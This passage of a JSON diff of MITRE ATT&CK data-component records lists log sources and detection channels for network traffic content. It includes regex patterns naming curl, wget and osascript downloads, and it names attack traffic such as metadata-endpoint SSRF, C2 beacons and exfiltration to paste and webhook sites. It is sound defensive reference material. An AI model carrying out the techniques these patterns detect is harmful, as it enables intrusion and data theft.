"2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0102\", \"external_id\": \"DC0102\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Network Share\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Microsoft-Windows-SMBClient/Security\", \"channel\": \"EventID=31001\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=5140\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=5145\"}, {\"name\": \"WinEventLog:Microsoft-Windows-SMBServer\", \"channel\": \"Access to SYSVOL share from non-admin user or unusual endpoints\"}, {\"name\": \"NSM:Flow\", \"channel\": \"smb_files.log\"}, {\"name\": \"m365:unified\", \"channel\": \"FileUploaded, FileAccessed\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--ba27545a-9c32-47ea-ba6a-cce50f1b326e\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.412000+00:00\", \"old_value\": \"2025-04-18 15:10:01.621000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:34.343000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0085", + "external_id": "DC0085" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Traffic Content", + "description": "The full packet capture (PCAP) or session data that logs both protocol headers and payload content. This allows analysts to inspect command and control (C2) traffic, exfiltration, and other suspicious activity within network communications. Unlike metadata-based logs, full content analysis enables deeper protocol inspection, payload decoding, and forensic investigations.\n\n*Data Collection Measures:*\n\n- Network Packet Capture (Full Content Logging)\n - Wireshark / tcpdump / tshark\n - Full packet captures (PCAP files) for manual analysis or IDS correlation. `tcpdump -i eth0 -w capture.pcap`\n - Zeek (formerly Bro)\n - Extracts protocol headers and payload details into structured logs. `echo \"redef Log::default_store = Log::ASCII;\" > local.zeek | zeek -Cr capture.pcap local.zeek`\n - Suricata / Snort (IDS/IPS with PCAP Logging)\n - Deep packet inspection (DPI) with signature-based and behavioral analysis. `suricata -c /etc/suricata/suricata.yaml -i eth0 -l /var/log/suricata`\n- Host-Based Collection\n - Sysmon Event ID 22 \u2013 DNS Query Logging, Captures DNS requests made by processes, useful for detecting C2 domains.\n - Sysmon Event ID 3 \u2013 Network Connection Initiated, Logs process-to-network connection relationships.\n - AuditD (Linux) \u2013 syscall=connect, Monitors outbound network requests from processes. `auditctl -a always,exit -F arch=b64 -S connect -k network_activity`\n- Cloud & SaaS Traffic Collection\n - AWS VPC Flow Logs / Azure NSG Flow Logs / Google VPC Flow Logs, Captures metadata about inbound/outbound network traffic.\n - Cloud IDS (AWS GuardDuty, Azure Sentinel, Google Chronicle), Detects malicious activity in cloud environments by analyzing network traffic patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Network Traffic", + "channel": "None" + }, + { + "name": "ebpf:syscalls", + "channel": "Process within container accesses link-local address 169.254.169.254" + }, + { + "name": "WebProxy:AccessLogs", + "channel": "SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)" + }, + { + "name": "NSM:Flow", + "channel": "mqtt.log / xmpp.log (custom log feeds)" + }, + { + "name": "NSM:Flow", + "channel": "mqtt.log or AMQP custom log" + }, + { + "name": "NSM:Flow", + "channel": "mqtt.log, xmpp.log, amqp.log" + }, + { + "name": "networkdevice:syslog", + "channel": "ACL/Firewall rule modification or new route injection" + }, + { + "name": "m365:office", + "channel": "External HTTP/DNS connection from Office binary shortly after macro trigger" + }, + { + "name": "NSM:Flow", + "channel": "TCP/UDP" + }, + { + "name": "NSM:Flow", + "channel": "TCP session tracking" + }, + { + "name": "NSM:Flow", + "channel": "Captured packet payloads" + }, + { + "name": "NSM:Flow", + "channel": "session behavior" + }, + { + "name": "esxi:vmkernel", + "channel": "Network activity" + }, + { + "name": "NSM:Flow", + "channel": "External C2 channel over TLS" + }, + { + "name": "NSM:Flow", + "channel": "http/file-xfer: Inbound/outbound transfer of ELF shared objects" + }, + { + "name": "NSM:Flow", + "channel": "http.log, files.log" + }, + { + "name": "NSM:Flow", + "channel": "unexpected network activity initiated shortly after shell session starts" + }, + { + "name": "NSM:Flow", + "channel": "HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM" + }, + { + "name": "NSM:Flow", + "channel": "http.log, ssl.log" + }, + { + "name": "NSM:Flow", + "channel": "http.log, conn.log" + }, + { + "name": "NSM:Flow", + "channel": "SPAN or port-mirrored HTTP/S" + }, + { + "name": "NSM:Flow", + "channel": "http.log, ssl.log, websocket.log" + }, + { + "name": "macos:unifiedlog", + "channel": "process + network metrics correlation for bandwidth saturation" + }, + { + "name": "docker:stats", + "channel": "unusual network TX/RX byte deltas" + }, + { + "name": "etw:Microsoft-Windows-WinINet", + "channel": "HTTPS Inspection" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log" + }, + { + "name": "linux:syslog", + "channel": "Query to suspicious domain with high entropy or low reputation" + }, + { + "name": "macos:unifiedlog", + "channel": "DNS query with pseudo-random subdomain patterns" + }, + { + "name": "azure:vpcflow", + "channel": "HTTP requests to 169.254.169.254 or Azure Metadata endpoints" + }, + { + "name": "NSM:Flow", + "channel": "Browser connections to known C2 or dynamic DNS domains" + }, + { + "name": "NSM:Flow", + "channel": "Session History Reset" + }, + { + "name": "NSM:Flow", + "channel": "HTTP " + }, + { + "name": "macos:unifiedlog", + "channel": "network flow" + }, + { + "name": "linux:syslog", + "channel": "curl|wget|python .*http" + }, + { + "name": "macos:unifiedlog", + "channel": "curl|osascript.*open location" + }, + { + "name": "NSM:Flow", + "channel": "query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes" + }, + { + "name": "etw:Microsoft-Windows-NDIS-PacketCapture", + "channel": "TLS Handshake/Network Flow" + }, + { + "name": "NSM:Flow", + "channel": "HTTP/TLS Logs" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem: com.apple.network" + }, + { + "name": "linux:syslog", + "channel": "Unexpected SQL or application log entries showing tampered or malformed data" + }, + { + "name": "EDR:hunting", + "channel": "Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious URL patterns, uncommon TLDs, URL shorteners" + }, + { + "name": "macos:unifiedlog", + "channel": "open URL|clicked link|LSQuarantineAttach" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious GET/POST; downloader patterns" + }, + { + "name": "NSM:Flow", + "channel": "SSH logins or scp activity" + }, + { + "name": "NSM:Flow", + "channel": "remote login and transfer" + }, + { + "name": "esxi:vob", + "channel": "NFS/remote access logs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Traffic between instances" + }, + { + "name": "NSM:Flow", + "channel": "conn.log" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=5005 (WLAN), EventCode=302 (Bluetooth)" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious long-lived or reattached remote desktop sessions from unexpected IPs" + }, + { + "name": "NSM:Flow", + "channel": "HTTP payloads with SQLi/LFI/JNDI/deserialization indicators" + }, + { + "name": "NSM:Flow", + "channel": "outbound egress from web host after suspicious request" + }, + { + "name": "NSM:Flow", + "channel": "Requests towards cloud metadata or command & control from pod IPs" + }, + { + "name": "ALB:HTTPLogs", + "channel": "AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts" + }, + { + "name": "NSM:Flow", + "channel": "Connections to TCP 427 (SLP) or vCenter web services from untrusted sources" + }, + { + "name": "NSM:Flow", + "channel": "NetFlow/sFlow for odd egress to Internet from mgmt plane" + }, + { + "name": "NSM:Flow", + "channel": "packet capture or DPI logs" + }, + { + "name": "NSM:Flow", + "channel": "http.log" + }, + { + "name": "NSM:Flow", + "channel": "SMB2_LOGOFF/SMB_TREE_DISCONNECT" + }, + { + "name": "macos:unifiedlog", + "channel": "Connections to suspicious domains with mismatched certificate or unusual patterns" + }, + { + "name": "NSM:Flow", + "channel": "Unusual Base64-encoded content in URI, headers, or POST body" + }, + { + "name": "NSM:Flow", + "channel": "Base64 strings or gzip in URI, headers, or POST body" + }, + { + "name": "macos:unifiedlog", + "channel": "HTTP POST with encoded content in user-agent or cookie field" + }, + { + "name": "esxi:vmkernel", + "channel": "Outbound traffic using encoded payloads post-login" + }, + { + "name": "macos:unifiedlog", + "channel": "Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction" + }, + { + "name": "NSM:Flow", + "channel": "Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval." + }, + { + "name": "NSM:Flow", + "channel": "Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host." + }, + { + "name": "NSM:Flow", + "channel": "Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host." + }, + { + "name": "NSM:Flow", + "channel": "Inbound to 22/5900/8080 and follow-on internal connections." + }, + { + "name": "NSM:Flow", + "channel": "http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64" + }, + { + "name": "NSM:Flow", + "channel": "http: HTTP body contains long Base64 sections" + }, + { + "name": "NSM:Flow", + "channel": "http: Base64/MIME looking payloads from ESXi host IP" + }, + { + "name": "NSM:Flow", + "channel": "LDAP Bind/Search" + }, + { + "name": "NSM:Flow", + "channel": "LDAP Query" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream (subsystem: com.apple.system.networking)" + }, + { + "name": "NSM:Flow", + "channel": "smtp.log" + }, + { + "name": "NSM:Flow", + "channel": "smtp.log, conn.log" + }, + { + "name": "NSM:Flow", + "channel": "remote CLI session detection" + }, + { + "name": "macos:unifiedlog", + "channel": "Encrypted connection with anomalous payload entropy" + }, + { + "name": "esxcli:network", + "channel": "Socket sessions with randomized payloads inconsistent with TLS" + }, + { + "name": "NSM:Connections", + "channel": "Symmetric encryption detected without TLS handshake sequence" + }, + { + "name": "NSM:Flow", + "channel": "http.log, ftp.log" + }, + { + "name": "NSM:Flow", + "channel": "PCAP inspection" + }, + { + "name": "NSM:Flow", + "channel": "large HTTPS POST requests to webhook endpoints" + }, + { + "name": "esxi:vmkernel", + "channel": "HTTPS POST connections to webhook endpoints" + }, + { + "name": "NSM:Flow", + "channel": "Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip." + }, + { + "name": "NSM:Flow", + "channel": "Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed \u2264TimeWindow by outbound SF from same host to src_ip." + }, + { + "name": "NSM:Flow", + "channel": "Inbound one-off packet to uncommon port \u2192 outbound SF to same src_ip within TimeWindow." + }, + { + "name": "networkdevice:config", + "channel": "NAT table modification (add/update/delete rule)" + }, + { + "name": "NSM:Flow", + "channel": "large upload to firmware interface port or path" + }, + { + "name": "macos:unifiedlog", + "channel": "Rapid incoming TLS handshakes or HTTP requests in quick succession" + }, + { + "name": "NSM:Flow", + "channel": "http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources" + }, + { + "name": "NSM:Flow", + "channel": "http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains" + }, + { + "name": "NSM:Flow", + "channel": "HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)" + }, + { + "name": "NSM:Connections", + "channel": "TLS handshake + HTTP headers" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log + http.log" + }, + { + "name": "macos:unifiedlog", + "channel": "network, socket, and http logs" + }, + { + "name": "NSM:Firewall", + "channel": "TLS/HTTP inspection" + }, + { + "name": "NSM:Flow", + "channel": "http/file-xfer: Outbound transfer of large video-like MIME types soon after capture" + }, + { + "name": "container:proxy", + "channel": "outbound/inbound network activity from spawned pods" + }, + { + "name": "esxcli:network", + "channel": "listening sockets bound to non-standard ports" + }, + { + "name": "NSM:Flow", + "channel": "Outbound SCP, TFTP, or FTP sessions carrying configuration file content" + }, + { + "name": "NSM:Flow", + "channel": "Session Transfer Content" + }, + { + "name": "NSM:Flow", + "channel": "Captured File Content" + }, + { + "name": "NSM:Flow", + "channel": "C2 exfiltration" + }, + { + "name": "NSM:Flow", + "channel": "Transferred file observations" + }, + { + "name": "apache:access_log", + "channel": "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders" + }, + { + "name": "NSM:Flow", + "channel": "http::post: Outbound HTTP POST from host shortly after DB export activity" + }, + { + "name": "NSM:Flow", + "channel": "HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage" + }, + { + "name": "NSM:Flow", + "channel": "Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions" + }, + { + "name": "NSM:Flow", + "channel": "New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs" + }, + { + "name": "NSM:Flow", + "channel": "New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot" + }, + { + "name": "docker:events", + "channel": "remote API calls to /containers/create or /containers/{id}/start" + }, + { + "name": "NSM:Flow", + "channel": "http::request: Network connection to package registry or C2 from interpreter shortly after install" + }, + { + "name": "linux:syslog", + "channel": "Integrity mismatch warnings or malformed packets detected" + }, + { + "name": "NSM:Flow", + "channel": "http::request: Outbound HTTP initiated by Python interpreter" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "Outbound requests with forged tokens/cookies in headers" + }, + { + "name": "linux:syslog", + "channel": "DNS response IPs followed by connections to non-standard calculated ports" + }, + { + "name": "macos:unifiedlog", + "channel": "DNS responses followed by connections to ports outside standard ranges" + }, + { + "name": "macos:unifiedlog", + "channel": "Persistent outbound traffic to mining domains" + }, + { + "name": "macos:unifiedlog", + "channel": "Encrypted session initiation by unexpected binary" + }, + { + "name": "esxi:vmkernel", + "channel": "Inspection of sockets showing encrypted sessions from non-baseline processes" + }, + { + "name": "NSM:Connections", + "channel": "Abnormal certificate chains or non-standard ports carrying TLS" + }, + { + "name": "NSM:Flow", + "channel": "DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs." + }, + { + "name": "NSM:Flow", + "channel": "large HTTPS POST requests to text storage domains" + }, + { + "name": "esxi:vmkernel", + "channel": "HTTPS POST connections to pastebin-like domains" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected ARP replies or DNS responses inconsistent with authoritative servers" + }, + { + "name": "NSM:Flow", + "channel": "TLS downgrade or inconsistent DNS answers" + }, + { + "name": "NSM:Flow", + "channel": "Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Large volume of malformed or synthetic payloads to application endpoints prior to failure" + }, + { + "name": "networkconfig ", + "channel": "interface flag PROMISC, netstat | ip link | ethtool" + }, + { + "name": "macos:unifiedlog", + "channel": "eventMessage = 'promiscuous'" + }, + { + "name": "networkdevice:syslog", + "channel": "config change (e.g., logging buffered, pcap buffers)" + }, + { + "name": "macos:unifiedlog", + "channel": "outbound HTTPS connections to code repository APIs" + }, + { + "name": "azure:activity", + "channel": "networkInsightsLogs" + }, + { + "name": "gcp:audit", + "channel": "network.query*" + }, + { + "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational", + "channel": "Unusual external domain access" + }, + { + "name": "NSM:Flow", + "channel": "conn.log or http.log" + }, + { + "name": "NSM:Flow", + "channel": "http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs" + }, + { + "name": "NSM:Flow", + "channel": "dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently" + }, + { + "name": "NSM:Flow", + "channel": "http: suspicious long tokens with custom alphabets in body/headers" + }, + { + "name": "NSM:Flow", + "channel": "http: HTTP bodies from ESXi host IPs containing long, non-standard tokens" + }, + { + "name": "NSM:Flow", + "channel": "Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols" + }, + { + "name": "NSM:Flow", + "channel": "HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts" + }, + { + "name": "NSM:Flow", + "channel": "Egress to non-approved networks from host after terminal exec" + }, + { + "name": "NSM:Flow", + "channel": "Flow/PCAP analysis for outbound payloads" + }, + { + "name": "NSM:Flow", + "channel": "conn.log + files.log + ssl.log" + }, + { + "name": "macos:unifiedlog", + "channel": "eventMessage = 'open', 'sendto', 'connect'" + }, + { + "name": "NSM:Flow", + "channel": "HTTPS or custom protocol traffic with large payloads" + }, + { + "name": "esxi:vmkernel", + "channel": "network stack module logs" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected script or binary content returned in HTTP response body" + }, + { + "name": "NSM:Flow", + "channel": "Injected content responses with unexpected script/malware signatures" + }, + { + "name": "NSM:Flow", + "channel": "Content injection observed in HTTPS responses with mismatched certificates or altered payloads" + }, + { + "name": "NSM:Firewall", + "channel": "High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion" + }, + { + "name": "NSM:Firewall", + "channel": "Anomalous TCP SYN or ACK spikes from specific source or interface" + }, + { + "name": "saas:confluence", + "channel": "REST API access from non-browser agents" + }, + { + "name": "Netfilter/iptables", + "channel": "Forwarded packets log" + }, + { + "name": "NSM:Flow", + "channel": "Relay patterns across IP hops" + }, + { + "name": "NSM:Firewall", + "channel": "Outbound encrypted traffic" + }, + { + "name": "NSM:Flow", + "channel": "ldap.log" + }, + { + "name": "macos:unifiedlog", + "channel": "dns-sd, mDNSResponder, socket activity" + }, + { + "name": "networkdevice:IDS", + "channel": "content inspection / PCAP / HTTP body" + }, + { + "name": "NSM:Flow", + "channel": "Probe responses from unauthorized APs responding to client probe requests" + }, + { + "name": "auditd:SYSCALL", + "channel": "setsockopt, ioctl modifying ARP entries" + }, + { + "name": "NSM:Flow", + "channel": "Excessive gratuitous ARP replies on local subnet" + }, + { + "name": "NSM:Flow", + "channel": "Inbound HTTP POST with suspicious payload size or user-agent" + }, + { + "name": "NSM:Flow", + "channel": "POST requests to .php, .jsp, .aspx files with high entropy body" + }, + { + "name": "NSM:Flow", + "channel": "dns.log" + }, + { + "name": "NSM:FLow", + "channel": "dns.log" + }, + { + "name": "NSM:Flow", + "channel": "Encrypted tunnels or proxy traffic to non-standard destinations" + }, + { + "name": "esxi:vmkernel", + "channel": "Suspicious traffic filtered or redirected by VM networking stack" + }, + { + "name": "NSM:Flow", + "channel": "large transfer from management IPs to unauthorized host" + }, + { + "name": "NSM:Flow", + "channel": "Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)" + }, + { + "name": "NSM:Flow", + "channel": "ftp.log, smb_files.log" + }, + { + "name": "NSM:Flow", + "channel": "ftp.log, conn.log" + }, + { + "name": "NSM:Flow", + "channel": "mirror/SPAN port" + }, + { + "name": "NSM:Flow", + "channel": "ftp.log, conn.log, smb_files.log" + }, + { + "name": "linux:syslog", + "channel": "Multiple NXDOMAIN responses and high entropy domains" + }, + { + "name": "NSM:Flow", + "channel": "SSL/TLS Inspection or PCAP" + }, + { + "name": "NSM:Flow", + "channel": "conn.log, ssl.log" + }, + { + "name": "macos:unifiedlog", + "channel": "process + network activity" + }, + { + "name": "NSM:Flow", + "channel": "http, dns, smb, ssl logs" + }, + { + "name": "NSM:Flow", + "channel": "dns, ssl, conn" + }, + { + "name": "NSM:Flow", + "channel": "conn.log, http.log, dns.log, ssl.log" + }, + { + "name": "networkdevice:syslog", + "channel": "Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests" + }, + { + "name": "NSM:Flow", + "channel": "ICMP/UDP traffic (Wireshark, Suricata, Zeek)" + }, + { + "name": "NSM:Flow", + "channel": "icmp.log, weird.log" + }, + { + "name": "NSM:Flow", + "channel": "ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)" + }, + { + "name": "esxi:vmkernel", + "channel": "VMCI syslog entries" + }, + { + "name": "NSM:Firewall", + "channel": "ICMP/UDP protocol anomaly" + }, + { + "name": "NSM:Flow", + "channel": "Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts" + }, + { + "name": "NSM:Flow", + "channel": "DHCP OFFER or ACK with unauthorized DNS/gateway parameters" + }, + { + "name": "NSM:Flow", + "channel": "Multiple DHCP OFFER responses for a single DISCOVER" + }, + { + "name": "NSM:Flow", + "channel": "SSL/TLS Handshake Analysis" + }, + { + "name": "NSM:Flow", + "channel": "HTTP Header Metadata" + }, + { + "name": "NSM:Flow", + "channel": "Network Capture TLS/HTTP" + }, + { + "name": "NSM:Content", + "channel": "SSL Certificate Metadata" + }, + { + "name": "NSM:Content", + "channel": "HTTP Header Metadata" + }, + { + "name": "NSM:Content", + "channel": "TLS Fingerprint and Certificate Analysis" + }, + { + "name": "NSM:Flow", + "channel": "container egress to unknown IPs/domains" + }, + { + "name": "gcp:vpcflow", + "channel": "first 5m egress to unknown ASNs" + }, + { + "name": "NSM:Flow", + "channel": "HTTP Request Logging" + }, + { + "name": "WinEventLog:iis", + "channel": "IIS Logs" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.WebKit" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs" + }, + { + "name": "NSM:Flow", + "channel": "ssh connections originating from third-party CIDRs" + }, + { + "name": "NSM:Flow", + "channel": "ssh/smb connections to internal resources from third-party devices" + }, + { + "name": "NSM:Flow", + "channel": "Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)" + }, + { + "name": "NSM:Flow", + "channel": "host switch egress data" + }, + { + "name": "NSM:Flow", + "channel": "Outbound HTTP/S" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem: com.apple.WebKit or com.apple.WebKit.Networking" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log - Certificate Analysis" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log, conn.log" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log, x509.log" + }, + { + "name": "NSM:Flow", + "channel": "Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF\u00d76 + 16\u00d7MAC)" + }, + { + "name": "WIDS:AssociationLogs", + "channel": "Unauthorized AP or anomalous MAC address connection attempts" + }, + { + "name": "macos:unifiedlog", + "channel": "encrypted outbound traffic carrying unexpected application data" + }, + { + "name": "esxcli:network", + "channel": "listening sockets bound with non-standard encapsulated protocols" + }, + { + "name": "macos:unifiedlog", + "channel": "Persistent outbound connections with consistent periodicity" + }, + { + "name": "macos:unifiedlog", + "channel": "TLS connections with abnormal handshake sequence or self-signed cert" + }, + { + "name": "esxcli:network", + "channel": "Socket inspection showing RSA key exchange outside baseline endpoints" + }, + { + "name": "IDS:TLSInspection", + "channel": "Malformed certs, incomplete asymmetric handshakes, or invalid CAs" + }, + { + "name": "macos:unifiedlog", + "channel": "Web server process initiating outbound TCP connections not tied to normal server traffic" + }, + { + "name": "macos:unifiedlog", + "channel": "outbound TLS connections to cloud storage providers" + }, + { + "name": "saas:box", + "channel": "API calls exceeding baseline thresholds" + }, + { + "name": "macos:unifiedlog", + "channel": "outbound HTTPS connections to cloud storage APIs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "High volume internal-to-internal IP transfer or cross-account cloud transfer" + }, + { + "name": "etw:Microsoft-Windows-WinINet", + "channel": "WinINet API telemetry" + }, + { + "name": "macos:unifiedlog", + "channel": "process, network" + }, + { + "name": "NSM:Connections", + "channel": "Unusual POST requests to admin or upload endpoints" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious POSTs to upload endpoints" + }, + { + "name": "networkdevice:syslog", + "channel": "Authentication failures or unusual community string usage in SNMP queries" + }, + { + "name": "API:ConfigRepoAudit", + "channel": "Access to configuration repository endpoints, unusual enumeration requests or mass downloads" + }, + { + "name": "NSM:Content", + "channel": "Traffic on RPC DRSUAPI" + }, + { + "name": "macos:unifiedlog", + "channel": "process = 'ssh' OR eventMessage CONTAINS 'ssh'" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0085\", \"external_id\": \"DC0085\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Network Traffic\", \"channel\": \"None\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"Process within container accesses link-local address 169.254.169.254\"}, {\"name\": \"WebProxy:AccessLogs\", \"channel\": \"SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"mqtt.log / xmpp.log (custom log feeds)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"mqtt.log or AMQP custom log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"mqtt.log, xmpp.log, amqp.log\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"ACL/Firewall rule modification or new route injection\"}, {\"name\": \"m365:office\", \"channel\": \"External HTTP/DNS connection from Office binary shortly after macro trigger\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TCP/UDP\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TCP session tracking\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Captured packet payloads\"}, {\"name\": \"NSM:Flow\", \"channel\": \"session behavior\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Network activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"External C2 channel over TLS\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http/file-xfer: Inbound/outbound transfer of ELF shared objects\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, files.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"unexpected network activity initiated shortly after shell session starts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, ssl.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, conn.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SPAN or port-mirrored HTTP/S\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, ssl.log, websocket.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process + network metrics correlation for bandwidth saturation\"}, {\"name\": \"docker:stats\", \"channel\": \"unusual network TX/RX byte deltas\"}, {\"name\": \"etw:Microsoft-Windows-WinINet\", \"channel\": \"HTTPS Inspection\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log\"}, {\"name\": \"linux:syslog\", \"channel\": \"Query to suspicious domain with high entropy or low reputation\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"DNS query with pseudo-random subdomain patterns\"}, {\"name\": \"azure:vpcflow\", \"channel\": \"HTTP requests to 169.254.169.254 or Azure Metadata endpoints\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Browser connections to known C2 or dynamic DNS domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Session History Reset\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP \"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network flow\"}, {\"name\": \"linux:syslog\", \"channel\": \"curl|wget|python .*http\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"curl|osascript.*open location\"}, {\"name\": \"NSM:Flow\", \"channel\": \"query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes\"}, {\"name\": \"etw:Microsoft-Windows-NDIS-PacketCapture\", \"channel\": \"TLS Handshake/Network Flow\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP/TLS Logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem: com.apple.network\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unexpected SQL or application log entries showing tampered or malformed data\"}, {\"name\": \"EDR:hunting\", \"channel\": \"Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious URL patterns, uncommon TLDs, URL shorteners\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"open URL|clicked link|LSQuarantineAttach\"}, {\"name\": 